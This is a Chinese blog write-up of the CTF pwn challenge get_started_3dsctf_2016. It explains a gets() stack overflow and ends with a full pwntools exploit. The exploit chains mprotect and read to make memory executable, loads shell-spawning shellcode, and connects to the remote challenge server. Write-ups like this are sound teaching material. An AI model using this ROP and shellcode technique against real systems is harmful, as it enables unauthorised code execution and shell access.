get_started_3dsctf_2016

本文通过此题主要记录修改 .bss 为 RWX 使其绕过 NX 保护的方法

使用 checksec 可以发现,仅有一个禁止栈执行

1
2
3
4
5
6
7
[*] '/home/zera/Desktop/get_started_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

IDA 反汇编可以得到以下伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]

printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}

void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al

if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}

在 main 中可以发现存在溢出,在此过程中我们可以观察到程序的函数列表存在有mprotect以及read函数

同时我们考虑的是将.bss的权限进行修改为RWX,正好需要用到mprotect以及read函数

1
2
int mprotect(const void *start, size_t len, int prot);
ssize_t read(int fd, void *buf, size_t count);

int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。 # prot = 7 时为 RWX
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。


ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓

同时对应的两个函数的参数均为三个,对应需要有三个pop来平衡栈,对应的需要使用到ROPgadget

1
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep "pop"

上述可以过滤出程序中带有的popret的组合

找到对应的pop * 3 + ret的地址后进行编写对应的Payload,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
elf = ELF("./get_started_3dsctf_2016")

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
bss_addr = 0x080ebf80
pop3_ret = 0x0809e4c5

mem_addr = 0x080eb000 # align 0x1000
mem_size = 0x1000
mem_proc = 0x7

# overflow
payload = cyclic(0x38)

# mprotect
payload += p32(mprotect_addr) + p32(pop3_ret) # stack balance
payload += p32(mem_addr) + p32(mem_size) + p32(mem_proc) # memprotect(mem_addr, mem_size, mem_proc)

# read
payload += p32(read_addr) + p32(pop3_ret) # stack balance
payload += p32(0) + p32(mem_addr) + p32(0x100)# read(0, mem_addr, 0x100)

payload += p32(mem_addr) # read ret addr

上述过程中在溢出后,将会执行mprotect以及read函数,将.bss进行修改为了RWX,并读入构造的shellcode,将对应的返回地址设置为shellcode

需要注意的是read执行过后,需要将对应的返回地址进行修改为mem_addr,以便完成后面对应shellcode的读入与执行

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.log_level = 'debug'

# io = process("./get_started_3dsctf_2016")
io = remote("node5.buuoj.cn", 29859)
elf = ELF("./get_started_3dsctf_2016")

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
bss_addr = 0x080ebf80
pop3_ret = 0x0809e4c5

mem_addr = 0x080eb000 # align 0x1000
mem_size = 0x1000
mem_proc = 0x7

# overflow
payload = cyclic(0x38)

# mprotect
payload += p32(mprotect_addr) + p32(pop3_ret) # stack balance
payload += p32(mem_addr) + p32(mem_size) + p32(mem_proc) # memprotect(mem_addr, mem_size, mem_proc)

# read
payload += p32(read_addr) + p32(pop3_ret) # stack balance
payload += p32(0) + p32(mem_addr) + p32(0x100)# read(0, mem_addr, 0x100)

payload += p32(mem_addr) # read ret addr

io.sendline(payload)

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
io.sendline(shellcode)

io.interactive()

get_started_3dsctf_2016
https://equinox-shame.github.io/2025/10/28/get_started_3dsctf_2016/
作者
梓曰
发布于
2025年10月28日
许可协议